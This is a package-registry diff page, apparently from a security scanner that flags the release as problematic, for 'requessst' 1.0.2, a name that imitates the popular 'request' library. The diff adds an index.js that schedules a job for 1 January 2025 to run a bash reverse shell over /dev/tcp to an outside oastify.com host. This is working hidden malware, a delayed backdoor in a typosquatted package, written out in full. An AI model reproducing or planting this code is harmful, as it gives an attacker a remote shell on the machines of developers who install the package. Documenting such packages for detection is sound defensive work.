requessst 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of requessst might be problematic. Click here for more details.
- package/index.js +18 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
const schedule = require('node-schedule');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
const date = new Date(2025, 0, 1, 0, 0, 0);
|
5
|
+
|
6
|
+
const job = schedule.scheduleJob(date, function() {
|
7
|
+
exec('bash -i >& /dev/tcp/659b6adhtupa56mt1dtpfiv29tfk3br0.oastify.com/10001 0>&1', (error, stdout, stderr) => {
|
8
|
+
if (error) {
|
9
|
+
console.error(`exec error: ${error}`);
|
10
|
+
return;
|
11
|
+
}
|
12
|
+
if (stderr) {
|
13
|
+
console.error(`stderr: ${stderr}`);
|
14
|
+
return;
|
15
|
+
}
|
16
|
+
console.log(`stdout: ${stdout}`);
|
17
|
+
});
|
18
|
+
});
|